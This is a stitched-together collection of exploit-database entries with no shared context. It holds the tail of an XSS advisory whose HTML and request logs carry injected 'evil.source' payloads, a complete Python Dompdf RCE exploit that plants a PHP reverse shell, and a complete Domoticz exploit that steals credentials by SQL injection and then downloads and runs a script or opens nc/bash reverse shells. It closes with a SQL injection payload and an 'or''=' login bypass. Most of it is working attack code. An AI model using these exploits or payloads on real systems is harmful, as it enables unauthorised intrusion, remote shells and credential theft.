<input type="hidden" name="fileNames" value=""><table width="100%" cellspacing="0" cellpadding="1" border="0" bgcolor="#000000"><tbody><tr><td>
<table width="100%" cellspacing="2" cellpadding="3" border="0" bgcolor="#FFFFFF"><tbody><tr style="background-color: #FFA81E; background-image: url(/x99_dooblou_res/x99_dooblou_gradient.png);
background-repeat: repeat-x; background-position:top;" height="30"><td colspan="5"><table width="100%" cellspacing="0" cellpadding="0" border="0"><tbody><tr><td style="white-space:
nowrap;vertical-align:middle"><span class="doob_small_text_bold"> </span></td><td style="white-space: nowrap;vertical-align:middle" align="right"><span class="doob_small_text_bold">
<a href="?view=23&mode=<a href=" https:="" evil.source"="" onmouseover="alert(document.domain)"><br>PLEASE CLICK PATH TO RETURN INDEX&search=a">
<img style="vertical-align:middle;border-style: none" src="/x99_dooblou_res/x99_dooblou_details.png" alt="img" title="Details"></a> |
<a href="?view=24&mode=<a href=" https:="" evil.source"="" onmouseover="alert(document.domain)"><br>PLEASE CLICK PATH TO RETURN INDEX&search=a">
<img style="vertical-align:middle;border-style: none" src="/x99_dooblou_res/x99_dooblou_thumbnails.png" alt="img" title="Thumbnails"></a> |
<a href="?view=38&mode=<a href=" https:="" evil.source"="" onmouseover="alert(document.domain)"><br>PLEASE CLICK PATH TO RETURN I
-
<td style="white-space: nowrap;vertical-align:middle"><input value="" type="checkbox" name="selectAll" onclick="setCheckAll();"> <a class="doob_button"
href="javascript:setMultiSelect('/storage/emulated/', 'action', '18&order=>" <<="">>"<a href="https://evil.source" onmouseover=alert(document.domain)">');javascript:document.multiSelect.submit();"
style="">Download</a> <a class="doob_button" href="javascript:setMultiSelectConfirm('Are you sure you want to delete? This cannot be undone!', '/storage/emulated/', 'action',
'13&order=>"<<><a href="https://evil.source" onmouseover=alert(document.domain)>');javascript:document.multiSelect.submit();" style="">Delete</a>
<a class="doob_button" href='javascript:setMultiSelectPromptQuery("Create Copy",
"/storage/emulated/", "/storage/emulated/", "action", "35&order=>"<<<a href="https://evil.source" onmouseover=alert(document.domain)>", "name");javascript:document.multiSelect.submit();'
style="">Create Copy</a> <a class="doob_button" href="x99_dooblou_pro_version.html" style="">Zip</a> <a class="doob_button" href="x99_dooblou_pro_version.html" style="">Unzip</a></td>
<td align="right" style="white-space: nowrap;vertical-align:middle"><span class="doob_small_text_bold"> <a href="javascript:showTreeview()"><img style="vertical-align:middle;border-style:
none" src="/x99_dooblou_res/x99_dooblou_tree_dark.png" alt="img" title="Show Treeview"></a> |
<a href="?view=23&order=>"<<><a href="https://evil.source" onmouseover=alert(document.domain)>"><img style="vertical-align:middle;border-style: none" src="/x99_dooblou_res/x99_dooblou_details.png" alt="img"
title="Details"></a> | <a href="?view=24&order=>"<<><a href="https://evil.source" onmouseover=alert(document.domain)>"><img style="vertical-align:middle;border-style:
none" src="/x99_dooblou_res/x99_dooblou_thumbnails.png" alt="img" title="Thumbnails"></a> |
<a href="?view=38&order=>"<<><a href="https://evil.source" onmouseover=alert(document.domain)>"><img style="vertical-align:middle;border-style: none" src="/x99_dooblou_res/x99_dooblou_grid.png" alt="img"
title="Thumbnails"></a> </span></td></tr></table>
---PoC Session Logs ---
http://localhost:8000/storage/emulated/0/Download/<a href="https://evil.source" onmouseover=alert(document.domain)><br>PLEASE CLICK USER PATH TO RETURN INDEX</x99_dooblou_wifi_signal_strength.xml
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer:http://localhost:8000/storage/emulated/0/Download/%3Ca%20href=%22https://evil.source%22%20onmouseover=alert(document.domain)%3E%3Cbr%3EPLEASE%20CLICK%20USER%20PATH%20TO%20RETURN%20INDEX%3C/a%3E
GET: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/xml
-
http://localhost:8000/storage/emulated/0/Download/?mode=<a+href%3D"https%3A%2F%2Fevil.source"+onmouseover%3Dalert(document.domain)><br>PLEASE+CLICK+PATH+TO+RETURN+INDEX&search=a&x=3&y=3
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: treeview=0
Upgrade-Insecure-Requests: 1
GET: HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
-
http://localhost:8000/storage/emulated/0/Download/<a href="https://evil.source" onmouseover=alert(document.domain)><br>PLEASE CLICK USER PATH TO RETURN INDEX</x99_dooblou_wifi_signal_strength.xml
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer:http://localhost:8000/storage/emulated/0/Download/%<a href="https://evil.source" onmouseover=alert(document.domain)>%3E%3Cbr%3EPLEASE%20CLICK%20USER%20PATH%20TO%20RETURN%20INDEX%3C/a%3E
GET: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/xml
Security Risk:
==============
The security risk of the multiple web vulnerabilities in the ios mobile wifi web-application are estimated as medium.
#!/usr/bin/python3
# Exploit Title: Dompdf 1.2.1 - Remote Code Execution (RCE)
# Date: 16 February 2023
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://dompdf.github.io/
# Software Link: https://github.com/dompdf/dompdf
# Version: <1.2.1
# Tested on: Kali linux
# CVE : CVE-2022-28368
# Github Link : https://github.com/rvizx/CVE-2022-28368
import subprocess
import re
import os
import sys
import curses
import requests
import base64
import argparse
import urllib.parse
from urllib.parse import urlparse
def banner():
print('''
\033[2mCVE-2022-28368\033[0m - Dompdf RCE\033[2m PoC Exploit
\033[0mRavindu Wickramasinghe\033[2m | rvz - @rvizx9
https://github.com/rvizx/\033[0mCVE-2022-28368
''')
exploit_font = b"AAEAAAAKAO+/vQADACBkdW0xAAAAAAAAAO+/vQAAAAJjbWFwAAwAYAAAAO+/vQAAACxnbHlmNXNj77+9AAAA77+9AAAAFGhlYWQH77+9UTYAAADvv70AAAA2aGhlYQDvv70D77+9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77+9AAABfAAAADhkdW0yAAAAAAAAAe+/vQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe+/ve+/vQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF++/ve+/vRZfDzzvv70ACwBAAAAAAO+/vRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO+/ve+/vQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
def get_ip_addresses():
output = subprocess.check_output(['ifconfig']).decode()
ip_pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
ip_addresses = re.findall(ip_pattern, output)
ip_addresses = [ip for ip in ip_addresses if not ip.startswith('255')]
ip_addresses = list(set(ip_addresses))
ip_addresses.insert(0, 'localhost')
return ip_addresses
def choose_ip_address(stdscr, ip_addresses):
curses.curs_set(0)
curses.noecho()
stdscr.keypad(True)
current_row = 0
num_rows = len(ip_addresses)
stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
while True:
stdscr.clear()
stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
for i, ip_address in enumerate(ip_addresses):
if i == current_row:
stdscr.addstr(ip_address, curses.A_REVERSE)
else:
stdscr.addstr(ip_address)
stdscr.addstr("\n")
key = stdscr.getch()
if key == curses.KEY_UP and current_row > 0:
current_row -= 1
elif key == curses.KEY_DOWN and current_row < num_rows - 1:
current_row += 1
elif key == curses.KEY_ENTER or key in [10, 13]:
return ip_addresses[current_row]
def help():
print('''
usage:
./dompdf-rce --inject <css-inject-endpoint> --dompdf <dompdf-instance>
example:
./dompdf-rce --inject https://vuln.rvz/dev/convert-html-to-pdf?html= --dompdf https://vuln.rvz/dompdf/
notes:
- Provide the parameters in the URL (regardless the request method)
- Known Issues! - Testing with https://github.com/positive-security/dompdf-rce
The program has been successfully tested for RCE on some systems where dompdf was implemented,
But there may be some issues when testing with the dompdf-rce PoC at https://github.com/positive-security/dompdf-rce
due to a known issue described at https://github.com/positive-security/dompdf-rce/issues/2.
In this application, the same implementation was added for now.
Although it may be pointless at the moment, you can still manually add the payload
by copying the exploit_font.php file to ../path-to-dompdf-rce/dompdf/applicaiton/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php
- more : https://www.cve.org/CVERecord?id=CVE-2022-28368
''')
sys.exit()
def check_url(url):
regex = re.compile(
r'^(?:http|ftp)s?://'
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'
r'localhost|'
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
r'(?::\d+)?'
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
if not re.match(regex, url):
print(f"\033[91m[err]:\033[0m {url} is not a valid url")
return False
else:
return True
def final_param(url):
query_start = url.rfind('?')
if query_start == -1:
query_start = url.rfind('&')
if query_start == -1:
return None
query_string = url[query_start+1:]
for param in reversed(query_string.split('&')):
if '=' in param:
name = param.split('=')[0]
if name:
return name
return None
if __name__ == '__main__':
banner()
ports = ['9001', '9002']
for port in ports:
try:
processes = subprocess.check_output(["lsof", "-i", "TCP:9001-9002"]).decode("utf-8")
for line in processes.split("\n"):
if "LISTEN" in line:
pid = line.split()[1]
port = line.split()[8].split(":")[1]
if port == "9001" or port == "9002":
os.system("kill -9 {}".format(pid))
print(f'\033[94m[inf]:\033[0m processes running on port {port} have been terminated')
except:
pass
if len(sys.argv) == 1:
print("\033[91m[err]:\033[0m no endpoints were provided. try --help")
sys.exit(1)
elif sys.argv[1] == "--help" or sys.argv[1] == "-h":
help()
elif len(sys.argv) > 1:
parser = argparse.ArgumentParser(description='',add_help=False, usage="./dompdf-rce --inject <css-inject-endpoint/file-with-multiple-endpoints> --dompdf <dompdf-instance-endpoint>")
parser.add_argument('--inject', type=str, help='[info] provide the url of the css inject endpoint', required=True)
parser.add_argument('--dompdf', type=str, help='[info] provide the url of the dompdf instance', required=True)
args = parser.parse_args()
injectpoint = args.inject
dompdf_url = args.dompdf
if not check_url(injectpoint) and (not check_url(dompdf_url)):
sys.exit()
param=final_param(injectpoint)
if param == None:
print("\n\033[91m[err]: no parameters were provided! \033[0mnote: provide the parameters in the url (--inject-css-endpoint url?param=) ")
sys.exit()
ip_addresses = get_ip_addresses()
sip = curses.wrapper(choose_ip_address, ip_addresses)
print(f'\033[94m[inf]:\033[0m selected ip address: {sip}')
shell = '''<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/'''+sip+'''/9002 0>&1'");?>'''
print("\033[94m[inf]:\033[0m using payload: " +shell)
print("\033[94m[inf]:\033[0m generating exploit.css and exploit_font.php files...")
decoded_data = base64.b64decode(exploit_font).decode('utf-8')
decoded_data += '\n' + shell
css = '''
@font-face {
font-family:'exploitfont';
src:url('http://'''+sip+''':9001/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}
'''
with open("exploit.css","w") as f:
f.write(css)
with open("exploit_font.php","w") as f:
f.write(decoded_data)
print("\033[94m[inf]:\033[0m starting http server on port 9001..")
http_server = subprocess.Popen(['python', '-m', 'http.server', '9001'])
url = "http://"+sip+":9001/exploit_font.php"
echo_output = subprocess.check_output(['echo', '-n', url.encode()])
md5sum_output = subprocess.check_output(['md5sum'], input=echo_output)
md5_hash = md5sum_output.split()[0].decode()
print("\033[94m[inf]:\033[0m url hash: "+md5_hash)
print("\033[94m[inf]:\033[0m filename: exploitfont_normal_"+md5_hash+".php")
print("\033[94m[inf]:\033[0m sending the payloads..\n")
url = injectpoint
if url.endswith("/"):
url = url[:-1]
headers = {
'Host': urlparse(injectpoint).hostname,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'application/x-www-form-urlencoded',
}
payload="<link rel=stylesheet href=\'http://"+sip+":9001/exploit.css\'>"
data = '{\r\n"'+param+'": "'+payload+'"\r\n}'
try:
response1 = requests.get(url+urllib.parse.quote(payload),headers=headers,)
response2 = requests.post(url, headers=headers, data=data, verify=False)
except:
print("\033[91m[err]:\033[0m failed to send the requests! check connection to the host")
sys.exit()
if response1.status_code == 200 or response2.status_code == 200:
print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: 200")
else:
print("\n\033[91m[err]: failed to send the exploit.css!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response1.status_code)+","+str(response2.status_code))
print("\033[94m[inf]:\033[0m terminating the http server..")
http_server.terminate()
print("\033[93m[ins]:\033[0m start a listener on port 9002 (execute the command on another terminal and press enter)")
print("\nnc -lvnp 9002")
input("\n\033[93m[ins]:\033[0m press enter to continue!")
print("\033[93m[ins]:\033[0m check for connections!")
del headers['Content-Type']
url = dompdf_url
if url.endswith("/"):
url = url[:-1]
url+="/lib/fonts/exploitfont_normal_"+md5_hash+".php"
response = requests.get(
url,
headers=headers,
verify=False, )
if response.status_code == 200:
print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code))
else:
print("\n\033[91m[err]: failed to trigger the payload! \033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code))
print("\033[94m[inf]:\033[0m process complete!")
#!/usr/bin/env python
#-*- coding: utf-8 -*-
# Exploit Title: Unauthenticated Remote Command Execution on Domoticz <= 4.10577
# Date: April 2019
# Exploit Author: Fabio Carretto @ Certimeter Group
# Vendor Homepage: https://www.domoticz.com/
# Software Link: https://www.domoticz.com/downloads/
# Version: Domoticz <= 4.10577
# Tested on: Debian 9
# CVE: CVE-2019-10664, CVE-2019-10678
# ====================================================================
# Bypass authentication, inject commands and execute them
# Required login page or no authentication (doesn't work with "Basic-Auth" setting)
# There are 3 injection modes. The 1st and the 2nd bypass the char filter:
# 1.Default mode insert the commands in a script and reply with it once to
# an HTTP request. Set address and port of the attacker host with -H and -P
# 2.(-zipcmd) a zip icon pack will be uploaded. The domoticz installation path
# can be optionally specified with -path /opt/domoti..
# 3.(-direct) commands executed directly. Characters like & pipe or redirection
# cannot be used. The execution may block domoticz web server until the end
# Examples:
# ./exploit.py -H 172.17.0.1 -P 2222 http://172.17.0.2:8080/ 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1 &'
# ./exploit.py -zipcmd http://localhost:8080/ 'nc 10.0.2.2 4444 -e /bin/bash &'
import argparse
import requests
import urllib
import base64
import json
import BaseHTTPServer
import zipfile
import thread
# Retrieve data from db with the SQL Injection on the public route
def steal_dbdata(field):
sqlinj = sqlpref % field
urltmp = url_sqlinj + sqlinj
r = session.get(urltmp)
print '[+] %s: %s' % (field,r.text)
return r.text
# Login and return the SID cookie
def dologin(username, password):
url_login_cred = url_login % (username, password)
r = session.get(url_login_cred)
sid = r.headers['Set-Cookie']
sid = sid[sid.find('SID=')+4 : sid.find(';')]
print '[+] SID=' + sid
return sid
# Search an uvc cam. If exists return its json config
def get_uvc_cam():
r = session.get(url_camjson)
cams = json.loads(r.text)
if cams['status'] == 'OK' and 'result' in cams:
for cam in cams['result']:
if cam['ImageURL']=='uvccapture.cgi':
return cam
return None
# Prompt the user and ask if continue or not
def prompt_msg(msg):
print '[+] WARNING: ' + msg
if not args.f and not raw_input('[+] Continue? [y/N]: ') in ["y","Y"]:
exit(0)
return None
# Embed the commands in a zip icon file (-zipcmd)
def create_zip(commandsline):
zipname = 'iconpackfake.zip'
with zipfile.ZipFile(zipname, 'w') as zip:
zip.writestr('icons.txt', "fakeicon;Button fakeicon;fake")
zip.writestr('fakeicon.png', commandsline)
zip.writestr('fakeicon48_On.png', commandsline)
zip.writestr('fakeicon48_Off.png', commandsline)
return zipname
# HTTP server that reply once with the content of the script
class SingleHandler(BaseHTTPServer.BaseHTTPRequestHandler):
respbody = ""
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(self.respbody)
return None
def log_request(self, code):
pass
#--------------------------------------------------------------------
# INITIALIZATION
#--------------------------------------------------------------------
parser = argparse.ArgumentParser(
description="""Unauthenticated Remote Command Execution on Domoticz!
(version <= 4.10577) Bypass authentication, inject os commands and execute them!""",
epilog="""The default mode (1) insert the commands in a script and reply
with it once to an HTTP request, use -H address and -P port.
The -zipcmd (2) or -direct (3) option override the default mode.""")
parser.add_argument('-noexec', action='store_true', help='no cmd injection, just steal credentials')
parser.add_argument('-zipcmd', action='store_true', help='upload a zip icon pack with commands inside (2)')
parser.add_argument('-direct', action='store_true', help='inject commands directly in uvc params (3)')
parser.add_argument('-H', dest='lhost', type=str, help='address/name of attacker host in default mode (1)')
parser.add_argument('-P', dest='lport', type=int, help='tcp port of attacker host in default mode (1)')
parser.add_argument('-path', dest='path', type=str, default='/src/domoticz',
help='change root path of domoticz to find the uploaded icon(script). Useful only with -zipcmd option')
parser.add_argument('-f', action='store_true', help='shut up and do it')
parser.add_argument('url', metavar='URL', nargs=1, type=str, help='target URL e.g.: http://localhost:8080/')
parser.add_argument('cmd', metavar='cmd', nargs='+', type=str, help='os command to execute, '
'send it in background or do a short job, the domoticz web server will hang during execution')
args = parser.parse_args()
if not(args.direct or args.zipcmd) and (args.lhost is None or args.lport is None):
print '[-] Default mode needs host (-H) and port (-P) of attacker to download the commands'
exit(0)
username = ''
password = ''
cookies = dict()
noauth = True
sqlpref = 'UNION SELECT sValue FROM Preferences WHERE Key="%s" -- '
cmd = args.cmd
url = args.url[0][:-1] if args.url[0][-1]=='/' else args.url[0]
url_sqlinj = url + '/images/floorplans/plan?idx=1 '
url_login = url + '/json.htm?type=command¶m=logincheck&username=%s&password=%s&rememberme=true'
url_getconf = url + '/json.htm?type=settings'
url_setconf = url + '/storesettings.webem'
url_iconupl = url + '/uploadcustomicon'
url_camjson = url + '/json.htm?type=cameras'
url_camlive = url + '/camsnapshot.jpg?idx='
url_camadd = url + '/json.htm?type=command¶m=addcamera&address=127.0.0.1&port=8080' \
'&name=uvccam&enabled=true&username=&password=&imageurl=dXZjY2FwdHVyZS5jZ2k%3D&protocol=0'
cmd_zipicon = ['chmod 777 %s/www/images/fakeicon48_On.png' % args.path,
'%s/www/images/fakeicon48_On.png' % args.path]
cmd_default = ['curl %s -o /tmp/myexec.sh -m 5', 'chmod 777 /tmp/myexec.sh', '/tmp/myexec.sh']
#--------------------------------------------------------------------
# AUTHENTICATION BYPASS
#--------------------------------------------------------------------
session = requests.Session()
r = session.get(url_getconf)
if r.status_code == 401:
noauth = False
username = steal_dbdata('WebUserName')
password = steal_dbdata('WebPassword')
cookies['SID'] = dologin(username, password)
r = session.get(url_getconf)
if args.noexec is True:
exit(0)
settings = json.loads(r.text)
settings.pop('UVCParams', None)
#--------------------------------------------------------------------
# Fix necessary to not break or lose settings
chn = {'WebTheme':'Themes','UseAutoBackup':'enableautobackup','UseAutoUpdate':'checkforupdates'}
for k in chn:
settings[chn[k]] = settings.pop(k, None)
sub = settings.pop('MyDomoticzSubsystems', 0)
if sub >= 4:
settings['SubsystemApps'] = 4; sub -= 4
if sub >= 2:
settings['SubsystemShared'] = 2; sub -= 2
if sub == 1:
settings['SubsystemHttp'] = 1
try:
settings['HTTPURL'] = base64.b64decode(settings['HTTPURL'])
settings['HTTPPostContentType'] = base64.b64decode(settings['HTTPPostContentType'])
settings['Latitude'] = settings['Location']['Latitude']
settings['Longitude'] = settings['Location']['Longitude']
settings.pop('Location', None)
except:
pass
toOn = ['allow','accept','hide','enable','disable','trigger','animate','show']
toOn += ['usee','floorplanfullscreen','senderrorsasn','emailasa','checkforupdates']
for k in [x for x in settings if any([y for y in toOn if y in x.lower()])]:
if(str(settings[k]) == '1'):
settings[k] = 'on'
elif(str(settings[k]) == '0'):
settings.pop(k, None)
#--------------------------------------------------------------------
# COMMAND INJECTION
#--------------------------------------------------------------------
cmdwrap = '\n'.join(['#!/bin/bash'] + cmd)
payload = urllib.urlencode(settings) + '&'
if cmd[-1][-1] != '&' and not args.direct:
prompt_msg('if not sent in background the commands may block domoticz')
if args.direct:
prompt_msg('in direct mode & pipe redirect are not allowed (may block domoticz)')
elif args.zipcmd:
fakezip = create_zip(cmdwrap)
files = [('file',(fakezip, open(fakezip,'rb'), 'application/zip'))]
r = session.post(url_iconupl, files=files)
cmd = cmd_zipicon
else:
httpd = BaseHTTPServer.HTTPServer(("", args.lport), SingleHandler)
SingleHandler.respbody = cmdwrap
thread.start_new_thread(httpd.handle_request, ())
cmd_default[0] = cmd_default[0] % ('http://%s:%d/' % (args.lhost,args.lport))
cmd = cmd_default
# Encode the space and send the others in clear (chars like <>&;| not allowed)
cmdencode = '\n'.join([x.replace(' ', '+') for x in cmd])
payload += 'UVCParams=-d+/dev/aaa\n%s\n#' % (cmdencode)
req = requests.Request('POST', url_setconf, data=payload, cookies=cookies)
r = session.send(req.prepare())
print '[+] Commands successfully injected'
#--------------------------------------------------------------------
# COMMAND EXECUTION
#--------------------------------------------------------------------
if noauth:
session.cookies.clear() # fix if authentication is disabled
cam = get_uvc_cam()
if cam is None:
print '[+] Adding new UVC camera'
r = session.get(url_camadd)
cam = get_uvc_cam()
print '[+] Execution on cam with idx: ' + str(cam['idx'])
r = session.get(url_camlive + str(cam['idx']))
# Restore the default UVC parameters (like a ninja)
settings['UVCParams'] = '-S80 -B128 -C128 -G80 -x800 -y600 -q100'
session.post(url_setconf, data=settings)
print '[+] Done! Restored default uvc params!'
# # # # #
# Exploit Title: DomainSale PHP Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.codester.com/ChewiScripts
# Software Link: https://www.codester.com/items/5301/domainsale-php-script
# Demo: http://chewiscripts.x10host.com/domain/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/domain.php?id=[SQL]
#
# 14'++/*!11111UNION*/(/*!11111SELECT*/+0x283129,/*!50000CONCAT_WS*/(0x203a20,USER(),DATABASE(),VERSION()),0x283329,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229)--+-
#
# http://server/domain.php?id=14'++/*!11111UNION*/(/*!11111SELECT*/+0x283129,/*!50000CONCAT_WS*/(0x203a20,USER(),DATABASE(),VERSION()),0x283329,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229)--+-
#
# # # # #
# # # # #
# Exploit Title: ICDomains-Domains Marketplace Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/domains-marketplace-script.htm
# Demo: http://icloudcenter.net/demos/icdomains/
# Version: 1.1
# Tested on: Win7 x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #